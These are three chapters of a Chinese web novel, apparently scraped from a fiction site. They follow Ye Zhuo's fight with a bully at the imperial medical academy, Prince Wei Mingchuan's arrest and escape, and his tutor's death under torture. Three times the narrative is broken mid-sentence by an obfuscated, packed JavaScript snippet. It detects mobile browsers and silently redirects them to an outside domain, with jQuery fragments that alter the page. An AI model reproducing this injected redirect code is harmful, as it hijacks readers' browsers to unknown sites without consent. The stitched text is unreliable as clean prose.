“有什么可奇怪的?” “就算黎亲王府再如何没落,往年军队凯旋,圣上都要亲自来迎。今年怎的……” “今年不一样嘛。”言罢他挥了挥手,“这场仗是替西戎打的,就算胜了,干咱们大容什么事?况且距离世子殿下去那蛮夷之地,已经过去整整两年了吧……若不是你提起,我都快忘了他长什么样子。” 女子嘴唇翕动:“世子殿下未免有些太可怜了。” “可怜什么?”他嗤笑一声,“可怜之人必有可恨之处,我听我阿爹说啊,就他娘之前做过那档子事,有其母必有其子。自作自受罢了,哪儿轮得到咱们来可怜?” 他们脚步顿了顿,广场边的大梧桐树下,此时人头攒动。 “赶上官学医学兴办,想来少不了大人物。也不知今年要来几个新人呢?” “放榜了,咱们过去看看吧。” 叶灼将扫帚一丢,跟在二人身后。 那群人挤在一块儿,眼神扫过桂榜。看起来与她差不多年纪,无不是衣着华丽、披金戴银,大的约莫十四五岁,小的则只有七八岁。 “就说老子能中吧!” 少年生得油头粉面,头戴金丝抹额,指着榜单大呼。 叶灼挤过人流,眸光落在最末尾的名字:许昭昭。 “恭喜许少爷,贺喜许少爷!”穿学子服的纷纷拱手庆贺。 “早听闻京兆尹家公子不同凡响,今日一见,果然名不虚传,令诸位昭昭在目呐!” “昨日我阿娘特地去城隍庙求了签,连抽三签,皆为上上。” 许昭昭说着,随手扯过一人的衣领,“你可知这说明什么?” 那人畏畏缩缩:“自、自是说明……许少爷乃是、是受城隍爷保佑,紫微星降世!” “你说话好听,老子赏你。”许昭昭松开手,扔了锭银子过去,“以后,你就是老子的跟班了。自报家门来,让老子认认。” “我、我叫胡广,家父乃是骠骑将军胡乾。” “你竟是胡将军的儿子?看不出来啊。” 胡广擤着鼻子,一抽一抽地道:“我阿爹多、多年前从军西征去了,我一个人在家,只有额娘相伴。” “小结巴,以后替老子好好办事。有我爹撑腰,亏待不了你。” 胡广接过银子,哈巴狗似地点头。 “来,小哈巴狗。”许昭昭戏谑地笑,“嚎两声给老子听听。” 胡广缩着脖子,面露难色。 “嗯?”许昭昭眼睛一瞪,“你敢不听老子的话?” 众目睽睽之下,胡广咬了咬牙。 “汪……汪!” 他满意地拍手大笑:“你们看,他真叫啊!” 众人跟着附和笑起来,似是迁就,又似乎早已对这套规则习以为常。寒暄半晌,他们互相作揖:“往后大家就是同门了,三载同窗,还望相互帮衬啊!” 叶灼实在看不下去,不由得一阵恶寒。 “拼爹算什么本事……”她小声嘀咕。 “你说啥?” 叶灼怔了怔。这人脑子不太好使,耳朵怎的这样灵? “你一个扫地打水的丫鬟,敢说老子没本事?”许昭昭怒目圆睁,径直走到她面前。 众人齐刷刷朝她望去,却见许昭昭扬起手。一巴掌呼过之际,被猛地拦下。 “扫地怎么了?”她捏紧拳头,“是你先动手,可别怪我还手啊。” 以前在古川,叶灼没少和人打架。 包括但不限于教训地痞流氓、追回扒手扒去的钱、救被轻薄的良家妇女、被江湖帮派要保护费……总之她揍过的人太多,想揍她的人也太多了。比她大几岁的男孩尚未必打得过她,更别提这上京娇生惯养的公子哥。 “痛痛痛痛痛!” 力道稍微使大些,许昭昭一阵吃疼,捂着手腕叫起来。 “你看,我就说你没本事吧。” 叶灼不由分说,将他反手一拗,手臂拧成了麻花。围观群众吓得连连后退,这也太暴力了吧? “我靠双手挣钱,不似你,只能靠拼爹活着。” 许昭昭背对她嗷嗷直叫:“痛死了!你这人奴,好大的狗胆,快放了老子!” “再说一遍试试?” “要折了,手要折了!” 叶灼微微一笑:“放心吧,我拿捏得住,不会折的。” “你们还愣着看做什么?!”许昭昭抻着脖子,吱哇乱叫,“薛懿、胡广,那边傻站着的,还不快来帮忙,帮老子把她撵走啊!” 几人畏手畏脚,刚前进两步,叶灼将他反手扣紧:“谁敢上前帮他,这双胳膊,可就保不住咯。” “你们不许过来!” 许昭昭吓得脸都白了,终于崩溃,“姑奶奶,我错了!想要多少银子,我给你就是,别再折磨我了!” “谁稀罕你的银子。”叶灼游刃有余地道,“适才谁先动手的?” “我,我先动的!” “你错我错?” “我的错,我的错!你放了我,我不追究你!” “在场诸位都听到了,做个见证。”她朝众人道,“诸位都是官家子女,说话可要讲信用啊。” 就要松手时,许昭昭反手挣开,如疯狗般扑过来。奈何身躯不如她来得灵巧,叶灼侧身闪躲,反令他扑了个空。 起身破口大骂,门牙竟磕掉半颗:“他奶奶的,老子和你拼了!” 叶灼往他膝盖一踢,疼得他眼泪直流。趁其弯腰,绕到他身后,这回钳得更紧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642454|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “伤筋动骨一百天,可准备好了?” 许昭昭唾骂一声,“你这该死的人奴!若是被我阿娘知道,活该扒了你的皮!” “不用你阿娘来,姑奶奶这就教你做人。” 叶灼抄起拳头,作势要动手。 “长岛郡主来了!” 适才打得沉浸,浑然没注意到人群四散开来,皆是躬身行礼。 马车停落于大门前,一名女子沿道走来。 行过之处,空气仿佛凝滞。风却在动,尘埃轻舞,悄然拂过她身侧。 “你们在干什么?”声音清雅如碎玉,温婉中带有威慑。 回首望去,蓝衣女子裙摆翩然。一头绢发束起螺髻,眉宇柔中带刚。明眸皓齿,声如其人,郡主风范浑然天成。 叶灼这两日来太医署,常和宫女们打听,对皇城中的风云人物,多少有所耳闻。 夕山南水,新黎长岛郡,有佳人善弓。她便是那名被封郡主的亲王府嫡女,卫明川的亲妹妹。 “郡主,这死丫鬟以下犯上,动手打人!郡主定要替我做主啊!”许昭昭一把鼻涕一把泪地控诉。 恶人先告状? 叶灼看过不少类似话本,此刻总算有了用武之地。 她将滞于半空的拳头扭转个方向,深吸一口气,嗓门盖过他:“郡主,冤枉啊!奴婢做活一向老实本分,从不曾主动招惹谁。就是给奴婢一万个胆,又怎么敢打人呢……” 她使劲浑身解数,挤出一滴眼泪,瘫坐在地。任许昭昭百口莫辩,此情此景,竟成了她反客为主。 卫知瑶俯下身,温声道:“怎么回事?” 看来这郡主是个明事理的人。叶灼嘤嘤地啜泣,一只手假装抹泪,伸出食指颤巍巍指向许昭昭。 “回郡主,适才奴婢于井边打水,偶遇许少爷经过,不小心将水溅到他裙摆上。奴婢当即拿帕子擦,却遭到许少爷辱骂。尚来不及辩驳,便遭这般殴打……奴婢知郡主赏罚分明,恳请郡主,为奴婢主持公道!” “你……你!”许昭昭气得浑身发抖,“根本是胡说八道!分明是她欺负我,将我压在身下,还打掉我半颗门牙!” 叶灼踉跄着躲到卫知瑶身后,扯了扯她的衣袖,哭得更委屈了。 卫知瑶轻抚她的头,转向许昭昭:“你生得人高马大,她一个小姑娘,怎么有力气压倒你?” “郡主,您千万别被她骗了!此人甚是狡猾,嘴里没一句真话!” “我分明看到,是你在打她。”卫知瑶牵起叶灼,“今日我本不是来管闲事。但沈博士有言在先,既来到太医署,不论官职大小、身份尊卑,皆应以士人之礼相待。念在同门之谊,今日之事就此了结,往后若再有学子寻衅滋事、欺负下人,即便你是京兆尹之子,我也不会再留情面。” 说完她往桂榜浅扫一眼,待找到自己的名字,转身离去。 叶灼被她牢牢护在身后,朝许昭昭做了个鬼脸。 “拼爹你也拼不过。” 读出她的口型,许昭昭恨得牙都要咬碎。 “老大,消消气。”胡广拿出汗巾,“这是您的半颗门牙……” “他奶奶的,一个咒禁科小喽啰,也敢跟老子装。”话说一半扯到伤口,疼得斯哈。 “可是老大,适才您不是说不予追究么?” “闭嘴!” “她得意不了多久的。”云鬓高挽、杏面桃腮的女子稍作示意,众人侧耳来听。 “你们可不许往外说啊。今早我去探望薛表姐,近几日宫中都在传。她那个哥哥犯了事。黎亲王如今处处受制,就连狼牙军归来,庆功宴都被延到了盂兰盆节之后。” 众人闻言惊骇,这消息可了不得! “等着瞧吧。不出一月,他们家准要玩完。” 8.无声(八) 烈日当空,狼牙军整齐划一,列队进京。 “邱山,现在几时了?”卫明川问。 “回殿下。太阳西跌,正是一日中最热的时辰,应是未时。” 火凤门开,卫明川下马跪地,接过诰书。左右执金吾让道,宫中车马前来,将兵器俘虏押送至皇城正门。 众人卸甲,移至金銮殿前。 “新黎世子卫明川,携十万狼牙军班师回朝,特来面圣——” 纳兰燮坐于龙椅之上,头顶冕冠,白玉珠为十二旒,仪态威严。膝下文武百官,皆手执笏板,正立于殿内。 “陛下。”卫明川屈膝而立,行君臣之礼,“臣等自金沙关凯旋而归,俘获敌军兵马两万,粮食万石有余。我方军马损失五千,伤兵九千。冯殷叛党六十有三,现已送往诏狱审问,余党尚在抓捕之中。” “平身。”纳兰燮挥袖道,“此番远赴西戎,平羯之乱,世子首当其冲,辛劳有加,当予重赏。” 卫明川道:“为国分忧,乃狼牙军分内之事。” “世子,不必如此客气。”纳兰燮唤来内侍。三个箱子被抬上殿来,结结实实放在卫明川面前。” 一个箱子装的是些金银珠宝,一个箱子是精锻的兵器。待所有朝臣看清第三个箱子中装的是何物,纷纷举目四望,噤若寒蝉。 “金银布匹,刀枪剑戟,还是这把上等的宝剑。不知世子,想要何种赏赐?” 卫明川抬眸,对上纳兰燮眯起的眼,赶忙低头垂目。 “回……回陛下,臣不敢!” “哦?”纳兰燮勾起嘴角,让内侍撤下宝箱。唯独举起那把剑,细细端详,“世子何必如此紧张。你与你的父亲乃是大容的重臣,朕能打下一片江山,多亏有亲王府辅佐,你王世子功不可没。你父王又与朕交情匪浅,区区一把宝剑,不过聊表朕的一点心意,何足挂齿?” “尚方宝剑乃陛下佩剑,臣只是一介武夫,岂能与此剑相配!” “既如此,倒是朕不识趣了。”纳兰燮抚摸着剑身,将其放回箱中。“冯殷尸体何在?” “回陛下,就在皇城之外。” “有人检举,你为救一名囚犯的命,这才杀了冯殷,可有此事啊?” “回陛下,冯殷乃是服毒自尽。”卫明川说道,“是臣未能及时发现,不慎错失良机。未能带回潜逃叛党,臣愿自去领罚。” “这样啊……”纳兰燮敛了敛眸,“那世子返京途中放走的那名死囚,现在何处?” “阿嚏——” 从太医署出来,叶灼哭到一半,打了个大大的喷嚏,“多谢郡主,若不是仰仗郡主您相助,奴婢指不定要被许少爷打成什么样子……” “行了。”卫知瑶转身,“这里没有别人,在我面前,你就不必再演了。” 叶灼心头一惊,难道她早就看出来了? “奴婢,奴婢不敢。” “我看你这小丫头,可敢得很。” 卫知瑶打量着她。一头蓬乱的发,马尾歪向左边,脸庞稚气未脱。适才打架滚的泥巴,还东零西散挂在鼻头、颊边,一对杏眼圆而有神,正怯生生地瞧着她。 “你是新来的吧?以前没见过你。” 她愣愣地点头。 “许昭昭此人睚眦必报,早在太学时,便常与薛懿、陈姜一道欺凌同门,在皇城中已是臭名昭著。我虽帮了你,往后你在太医署遇见他们,最好绕道走才是。你一个小丫鬟,在上京姑且没个依靠,今日招惹了他,又让他蒙受这般屈辱,他日再见之时,必不肯轻易放过你。” “我虽言语招惹,却是他动手在先。”叶灼义愤填膺,挥了挥拳,“若敢来找茬,便让他再尝尝我这拳头的厉害!” 从没见过这样胆大的丫鬟。望着这副生面孔,无奈之余,竟莫名生出些亲切。 “我家也有个丫鬟,与我一同长大,似你这般活泼,爱与人打抱不平。要说起来,你这一举,的确替不少学子出了口恶气。” 叶灼不由得奇怪,“既身为郡主的侍女,怎却不见她跟着?” “今日太医署放榜,我来瞧一眼,独行来得更自在。” “郡主也参加了入学试么?” 她突然想到师父以前说过,他们行医的属于中九流,连士农工商都比不得。如此吃力不讨好,为何京城人人上赶着学呢? “今年朝廷兴办太医署,另置首席医官之位,盛起习医之风。医者地位不比以往,凡八品以上官员子女,无官衔者不少,往往在鼓动之下择业进修。对了,你家乡在何处?” “奴婢来自古川。” “上京气候多变,夏夜骤凉,你记得添置衣裳。往后若有什么不懂的,可以来咒禁科寻我。” “咒禁科,那是学什么的?”叶灼好奇地道。她只知道医、针两科,对于另两科课业内容,也只有过粗略了解。 “单听咒禁二字,莫非是街头又唱又跳的那派祝由大师?还是巫蛊……” 话音未落,卫知瑶捂住叶灼的嘴巴,连忙道:“这话可说不得。” “为什么?” 环顾四周,见四下无人,她悄悄道:“早些年前,新帝继位,常有人以巫蛊之术祸乱后宫。咒禁科本意在栽培巫医,是以巫拔除邪魅。从前巫医不分家,直至巫蛊触怒龙颜,人们谈巫色变,咒禁科也就开始没落了。” 松开手,叶灼猛吸一口气,“那为何现在还在呢?” “叶少卿重振太医署时,经众博士商讨,决定保留下此科。虽然得以保留,但终究转为闲置,只学些催眠、闭气之术。” 二人有一搭没一搭聊着。街道那端,扎有双丫髻的少女形色匆匆。 “小姐,不好了!” “阿茨?”卫知瑶赶忙扶住她,“怎么了?” “世子殿下,世子殿下他……”夕茨几乎要哭出来。 “别着急,慢慢说。哥哥他怎么了?” “狼牙军凯旋,圣上以尚方宝剑试探殿下,说是殿下归京途中私赦囚犯,有谋逆之嫌……现将殿下押入大牢,正要严刑审问!” “什么?!”卫知瑶心中揪紧,“父王呢,陛下可有追究亲王府?” “奴婢也不知。据说放走的是冯殷叛党,胡将军与赵仆射替殿下求情,都被降了罪。” “先回黎州,将此事禀报父王。”言罢,她拉起夕茨。又想起什么,倏尔转头。 “对不住。此事涉及家兄生死,事发突然,还望你替我保密。” “郡主于我有恩,大可以放心。”叶灼定定地道。 目送二人远去,她回想适才对话。仔细一琢磨,始觉有些不对劲。 长岛郡主的兄长,应是卫明川。狼牙军归京途中,被放走的那名囚犯—— 不正是她么? …… 御史台,诏狱。 永玺年间,御史台设置台狱。自新政改革后,重大案件皆报御史台监审,羁押朝廷重犯。总而言之,能被押送往这里的,都是世间最为穷凶极恶之人。 “世子殿下,您吃点儿吧。”狱卒将牢饭往里推了推。 “您已经三天没吃东西了,再这样下去,是个人都要受不住的。” 卫明川没有反应,瘫坐在腐草堆里。残缺的布料掩盖伤痕,血与肉粘连在皮肤上,他却面如死灰,仿佛感觉不到般。 面前摆有几个馒头、几碗白粥,连攒数日,有的发霉腐烂,臭味阵阵,引来蝇虫飞舞。 狱卒摇了摇头,只好作罢。 这时隔壁间丢进来一人,那狱卒边赶边喊:“进去!” 卫明川随意一瞥,此人甚是眼熟。 “赵大人?!您怎么也……” 赵光乃朝廷尚书左仆射,曾与黎亲王共同辅佐建立新政,以身系天下安危。如今虽已年逾六十,仍是一头黑发乌亮,风华不减当年。 见是熟人,他眼中有了神采。然而想到此时身居何处,几分凄凉便涌上心头。 “世子殿下。”枷锁在身,赵光仍不忘拱手作揖,“殿下为国立下战功赫赫,臣不忍看殿下受此屈辱,特来相陪。” “赵大人莫不是因为我,这才……” “殿下,多有言重。” 江国舅势大,圣上听信宦官一面之言,欲降罪卫明川。赵光看着他长大,卫明川是如何从那个马背上的少年,成长为过五关、斩六将的新起之秀,这一路所受的苦,他作为长辈看在眼里,只觉疼在心上。 堂堂狼牙军首将,凭借武艺拼杀至今,纵使缉拿叛党,也不忍城中百姓受难。似这般秉性良善,怎么可能会有反心?他身为朝臣一员, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下,走吧,快走。”赵光颤颤巍巍起身,“有老臣垫后,殿下唯有先逃出上京,才能够保全性命。” 他上前搀扶,“扑通”一声跪下,眸中泛泪:“师父!我不能负了您……” “老臣已是迟暮之年,没有杀的价值。可殿下不同,大容的百姓需要殿下,您必须要活!只有殿下活着,老臣这一片苦心,才算不付之东流,容国的江山社稷,才有望不落入贼人之手!” 言罢,赵光狠下心来,用力将他推开。 狱门“嘭”地阖上,隔着一道铁窗,卫明川哽咽不已。 “师父待我恩重如山,卫某归来之日,必然第一时间,赶来救您!” 远远地,赵光回给他一个笑。牢笼冷湿,月光进不来也出不去,笼罩少年少女的周身。 “走吧,走得远远的。离开上京,逃到天涯海角,不要回头。” 禁军统帅抵达之时,狱门大开,不见卫明川的踪影。唯赵光披头散发,斜卧在稻草堆里。 适才受过重刑,血污挂在长须上,嘴里正絮絮叨叨。 邢真执剑上前,揪起眼前人的衣领。 “黎州世子呢?” “走了。” “走了?!”他眉毛一横,欲要质问去向,反被狠狠啐了一口。 “你们找不到他的。” 抹了抹脸颊,邢真手掌颤抖,眼中戾气滚涌。 “老东西,我看你是活腻了?” 赵光嘴角挂起若有似无的笑。他知道,自己是要死了。 可是死有什么值得惧怕的? 闭上眼,十年前的光景,骤然浮现眼前。 先帝在位之时,无有战事,黎亲王卸甲前往,与其共同游猎。 彼时江氏未封侯,太子景头脑尚清明。卫明川年幼,吵闹着要打猎,执把弯弓,一箭射下林中高飞的海东青。群臣瞩目,先帝与黎亲王相视而笑,皆称道:此子生来便属于疆场。卫明川果不负众望,十岁随军出征,斩敌无数、所向披靡。 赵光有幸做过他的师父,授他礼法诗书。一步步送他上高位,本是为图报国——可正是这自以为是的一举,将他从王世子推落神坛,摔得粉身碎骨。 金沙关凯旋战功不计,反引来杀身之祸,受此屈辱。他这个做师父的,却无能为力。 是朝中奸佞作祟?是陛下的错,还是他的错? 赵光竟不知道了。 刑架被血色浸染,鞭笞声不绝于耳。他的胸口剧烈起伏,无数光点从眼前闪过,随着最后一下皮开肉绽,尽数化为子虚乌有。 “容国将亡……”他发出一声长吁,“容国将亡!” 9.无声(九) 两日之内,卫明川连夜出逃、尚书左仆射赵光为同谋的消息席卷皇宫。严刑逼供下,赵光惨死,黎亲王府上下不知所踪。 宣宁门外,叶灼躲在暗处。 “万邦朝会将至,这些佛珠香炉、茶叶水果,务必原封不动送到紫宸殿。” 掌事宫女领头,十几名豆绿罗裙的宫女沿拂春街走来。 一名宫娥就要迈过门槛,身后笼来一只手。 尚未来得及尖叫,那只手捂住她的嘴,将她带向石柱后。 “帮我个忙呗?”叶灼眨巴着眼,一脸人畜无害。 “唔唔……” “你先答应不大声呼救,我就放了你。” 宫娥匆匆点头。 不想刚松开手,她便扯着嗓子,直呼:“救——” “别把人引来!”叶灼吓得又捂了回去,“小忙一桩,有银子拿,你就说帮不帮吧?” 支支吾吾半晌,她点头应下。叶灼终于松手,指了指那身绿罗裙:“把我俩的衣服换一下,今天我替你。” 宣宁门进去,正对的便是太常寺。 由三座大殿组成的最高礼乐机关,陈设雕梁画栋、红墙黛瓦,甚是华丽。 “祭祀用五色神帛、香烛、祝版均需采办,黍稷预备十斛,大典前一日再行省牲。” 叶无声叮嘱完一连串,胥吏应声而退。 盂兰盆节在即,散值比平时早。处理完寺中事宜,已过酉时。 宫女们排成一列,齐齐往紫宸殿方向去。 “瞧。”有一人低声道。“是叶少卿。” 叶灼已然换好衣裳,混迹于宫女行列之中。 暮色将尽,叶无声迈下石阶。沐浴在晚霞余晖中,一身绯色官袍未褪,腰间别有银鱼袋。 青丝尽数束进幞头,比她记忆中半束半披的模样,多了几分庄严肃穆、一丝不苟。 时隔三年,再见这张脸,叶灼心头一颤。 眼前之人,是她心心念念、找了三年的师父啊。她幻想过千百万次重逢,好不容易等来这一刻。师父活生生站在她的面前,却显得那么突然、那么不真实。 叶灼咬咬牙。偏偏眼下有别的事要做,不能与他相认。 “你们说,像不像尊神像?”宫女小声嘀咕。 “他走过来了。” 大道宽敞,宫女们在右,叶无声往左,欲要出城。 经过身侧时,他步履稍缓,微微侧目。 叶灼低眉垂眼,加快了脚步。这些宫女清一色的豆绿罗裙,师父又这么久没见她,应该不会被认出来吧? 只听旁边那人道:“叶少卿好像在看我。” “别瞎说。”另一人应道,“宫里贵女小姐那么多,多少桩请婚他都不答应,看你做什么?” 叶灼屏住呼吸,不敢出声。从皇城进来这一路,步步如坐针毡。 呼,好险……师父应该没注意到她。 还以为瞒天过海了,悬着的心总算放下。怎料路过转角之时,一股蛮力从背后袭来。 紧接着,手里盛瓜果的托盘飞了出去。 “谁……!” 缓过神来,两堵严墙促狭挤着她,眼前男子脸色深沉。 “阿灼。” 声音如珠玉、如山泉,在极力压低之下,带着凛然磁性。这一声呼唤,她聆听过千百回,这辈子都不会忘记。 “你为何会在此处?” “师师师师父。”重逢来得突然,叶灼咽了咽口水,牙齿咯吱作响。 她一时不知作何解释。从小到大,在叶无声面前,她从来编不出一句谎话,就算编了也会被识破。若是如实招来,说自己混进皇宫,是为了帮卫明川说情…… 师父会答应么? “这里是皇城,不是你该来的地方。” “为、为救一个朋友,阿灼实在情非得已。”叶灼支支吾吾,“此事因我而起,恕阿灼不能从命!” 见僵持不下,她转身就跑。 然而下一瞬,肩膀被猛地钳住。一根针刺破皮肤,蚂蚁啃啮般的疼痛爬上脖颈。 “师……父……” 极力支撑意识,奈何一阵眩晕袭来,身子竟不受制倒向一边。 叶无声松开手中毫针,上前揽过她。 怀中小人沉沉睡去,眉眼舒展,同记忆中如出一辙。时隔三年,这个小丫头,终究还是来了上京。 “你不该回来。”叶无声叹了口气。 当初他离开古川,步入朝野之时,早该料到有这一日。只是他没想到,这一日竟来得这样快。 他警惕四顾,抱着她出了城门。恨他也罢,说他无情也罢…… 只要能让她死了这条心,他这个做师父的,宁可多延一日是一日。 再醒来时,叶灼双手被反绑着。 马车颠簸,她用头顶开车帘。经过山道,外头已是白天。车夫在前骑马,身侧跟了一高一矮两个蒙面护卫。 她默默把头缩回车里。回想昨日被扎的位置,应是颈后部的风池穴。进针不深,完美避开致命点。 力道拿捏得巧妙,一扎便晕。 师父竟将针法用在这种奇怪的地方…… 揉着酸疼的脖子,她心中一股无名火升起。想要挣开束缚,但这麻绳打的是死结,若不拿来剪子,绝不能轻易解开。 等等——要想进宫,眼下不是天赐良机么? 叶灼灵机一动,将头探出车窗:“大哥,咱们这是去哪儿呀?” “我等奉命,将你护送至古川。” “奉谁的命,可有抓捕令?” “什么抓捕令,”车夫侃侃而谈,“我们是车队送人,又不是衙门抓人。车队受人之托,只负责保护你,把你安全送到目的地。小丫头片子,那么紧张做什么?” “既没有抓捕令,你们凭什么捆我?” “我等拿钱办事,捆你是雇主的要求。那人称怕你不老实,不关我们的事。” “把我送回上京呗。” “?” 几人疑惑之际,叶灼一个鲤鱼打挺,蹦跶着跳下车。双脚被绑着,只得一蹦一跳行进,活像只小僵尸乐此不疲。 护卫上来擒她,她倒不反抗。与他们玩了一圈捉迷藏,乖乖将手伸出。 “你们可知我是谁?” “管你是谁!”护卫气喘吁吁,束紧了麻绳,“俺们拿了钱,就得将人送到,可不能让你跑了!” “干你们这行的,应该拿不到多少银子吧。”叶灼清了清嗓,“二位就不好奇,我为什么要跑吗?” 见她讳莫如深,两名护卫大眼瞪小眼。 她招呼二人过来,小声道:“我是朝廷要犯。” “……?” 护卫不耐烦挥了挥手。 “哎哎哎,别不信啊!我骗你们做什么?” 车夫嗤笑一声:“我看是哪家小儿不听话,离家出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664155|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走来到上京,被长辈抓了吧?” “狼牙军凯旋,缉拿叛党那档子事,你们应该知道吧?那条漏网之鱼就是我!我本是要到上京自首,你们将我放了,那可是大大的罪过。若是不信,等我到了古川,朝廷再向你们要人,届时可就来不及了!” 叶灼说着,比了个手势。“放走死囚,可是要掉脑袋的哟。” “这……” “把我押回京坐牢,赏银可抵你们半年工钱。既省了交差,又有银子拿,何乐而不为呢?” 两人大眼瞪小眼,喉头蠕动。个矮的摸了摸脖子:“老兄,她说的要是真的……朝廷真查过来怎么办?我还不想死啊。” “你以为我想?” 一番眼神交流,他们将叶灼带上马车。车头掉转,消失在山路尽头。 彼时的叶灼,尚不知此行一返上京,往后便再没有回头路可走。今日之抉择,又会给未来的她,带来一场怎样的浩劫。 十二岁的她,不识得天高地厚,浑身只有一股闯劲。一旦下决心做某件事,纵使前方刀山火海,照样能不计后果。 何况此时,她心中除了救卫明川,再没有其他。 …… 出了阳明关,北逃数日。越过高山密林,翻过泥泞沼泽,三人二仆,策马一路,沿小道而行。 凉州地界,风沙刺得人脸颊生疼。此行欲借探亲之名,前往西戎避难,必须经过不归冢。 “吁——” 黎亲王卫昌随之停下,卫明川勒紧缰绳,翻身下马。 “怎么了?” 拨开芒草,他屈膝跪拜,眼前是座高耸的山头。 “父王,且行静候片刻。”卫知瑶朝身后道,默默下马,跟上前去。 此山原是座无名山,后赐名不归冢。望见这满山坟墓,她大抵明了其中含义。 金沙关一战,三千死士遭敌军水淹。昔日患难与共的战友,一夕之间,尽化为漫山遍野的荒坟。许多尸体未被找到,只有座衣冠冢立在这,他们的灵魂,也只得永远被困在深山之中。 不归冢,不归冢。魂兮未归,徘徊他乡。 将士的英灵不能返乡,他却要四处流亡。 尽管于心不忍,卫知瑶还是道:“我们没有时间逗留。” 踟蹰半晌,卫明川恍然起身。就要上马之际,身后传来马蹄声。 “不好,难道是追兵?” 回首望去,远处山包之上,那人高举卷轴,策马直奔他而来。 “世子殿下!” 若换做别人,兴许还有所顾虑。可若是眼前之人,断不会对他不利。 刀眉剑目、身着甲胄的青年下马作揖:“王爷、郡主,世子殿下!” “邱山?”卫明川令他平身,“可是朝中出了什么事?” “陛下有令,狼牙军班师,庆功宴将于七月十四举办,特邀殿下出席。” 卫知瑶骤然一惊,“劫狱已是忤逆大罪,陛下此举,显然要置哥哥于死地。” “殿下,你们快走吧。”邱山道,“这庆功宴,摆明是场为殿下而设的鸿门宴。末将前脚拦截追兵,已计划善后,以假死之名禀报陛下。” “此行不易,辛苦你了。”卫知瑶道,“看来陛下杀心已决。父王,哥哥,我们快走。” 似乎下定某种决心般,卫明川敛目沉思,不见动摇之意。 “哥哥?” “我不走了。”他斩钉截铁。 10.无声(十) “邱山,我跟你回去。” “殿下!” “你还不明白么?”卫明川掉转马头,眸光冷厉。 过去七年的风餐露宿加起来,都不及这几日来得想的多。 思来想去,总算想明白一些事。 圣上头疾难愈,太子无才不能理政,国事竟交由外戚主理。自国舅江氏封侯起,边疆战事不断,粮饷时有亏空,军情难抵中央……多少次浴血奋战,靠的是将士们茹毛饮血,为大胜那一日死守城池。 而今领兵归来,连宦官的一句证词,都能成为扣在他头上的罪名。 “私赦叛党,不过是桩借口……” 卫知瑶眉头紧皱,不住地摇头,泪水呼之欲出。 “今日陛下于万邦朝会设宴,明日就能用新的借口将你我赶尽杀绝!我若赴宴,横竖不过一个死。若是不去,岂非让群臣以为我心虚,白白担下这忤逆罪名?!” “混账!” 一记耳光响亮,卫昌抬起的粗手滞于半空,饱含恨铁不成钢之意。 黎亲王卫昌,尔来年过六十,须发已经斑白。 “为你一己的颜面,想拉整个亲王府与你陪葬不成?!” “颜面?” 鬓发散乱挂在唇边,他嘴角噙血,一股荒诞涌上心头。 “呵,险些忘了。之所以走到如今孤立无援的地步,是为了谁的颜面?还不是因着父王自命清高,口口声声道不参与党派之争,致使王府树敌无数,惹来小人觊觎,上下离心?!” “你——!” 卫知瑶飞身上前,拦下他抽刀的动作,“哥哥一时糊涂口不择言,并无顶撞父王之意!” “一时糊涂?兵书都读到狗肚子里去了,犯下如此滔天大罪,还敢说自己是一时糊涂?连死囚都敢放,还有什么事是他做不出来的?!” “父王!” “孤恨不能,一刀砍了这逆子!” 干裂的唇翕张,平淡而决绝:“我一个人回去,不连累你们。” “……好。”卫知瑶咬紧牙关,翻身上了马车。 片刻后,她取出把长弓,挎于背后。 “既然要走,我跟你一起。” “你疯了?!” “不是你说的么?横竖不过一个死。”她将缰绳一甩,“多个人,总多条生路。我去向陛下求情,指不定还有回旋的余地。” “瑶瑶!” 夕阳之下,红鬃烈马随主人扬长而去。 邱山道:“殿下,还有一事。” 卫明川欲策马跟上前,接下来的消息,却让他如坠冰窖。 “赵老仆射他……死了。” 北城门外,正是散集之时,商贩相继出城。热浪翻滚,模糊了上京街景。 几辆木质板车被拖出城门,白布简陋,覆于一具具人形。行人皆掩捂口鼻,避之而不及。 最末的仵工环顾四周,将车推入东侧偏门一条小巷里。 “大人,人给您带到了。”他作揖道,接过卫明川递来的银两。 “做得很好,退下吧。” 御史台瘐毙的罪臣,大都被丢到城外火焚。狱中凌迟处死那些,则要么身首异处,被悬于城下示众,要么被丢到城外喂野狗,连一具全尸都没有。 合上半边白布,他深深闭眼,只觉嗓子里发苦。 从前卫明川在战场上,见过比这惨的多的死状,没有一回如现在这般,让他浑身控制不住颤抖。 巨大的悲哀涌上心头,泪水几近迸发。决堤关头,却被他骤然收住。 如今的他,既为戴罪之身,自身难保,就连收尸都要偷偷摸摸。赵光因他而死,自己却不能为他送行,甚至连哭一哭,都生怕惹人耳目。 “找一具上好的棺材,将他葬下。” 这,已是他唯一能做的。 他将斗笠往下压了压,没再看那具尸身一眼。邱山欲跟上前去,被卫知瑶截下。 “哥哥想安静一会。” 见他手足无措,她问起正事:“明日庆功宴,地点在何处,都有谁出席?” “除了陛下与皇后娘娘、朝中重臣以外,还有几位郡主、嫔妃,以及各国的使臣。” “胡将军呢?” “胡将军被调到凉州,充任行军司马了。狼牙军暂由殿前都点检邢真邢将军接管,届时应该也会来。” 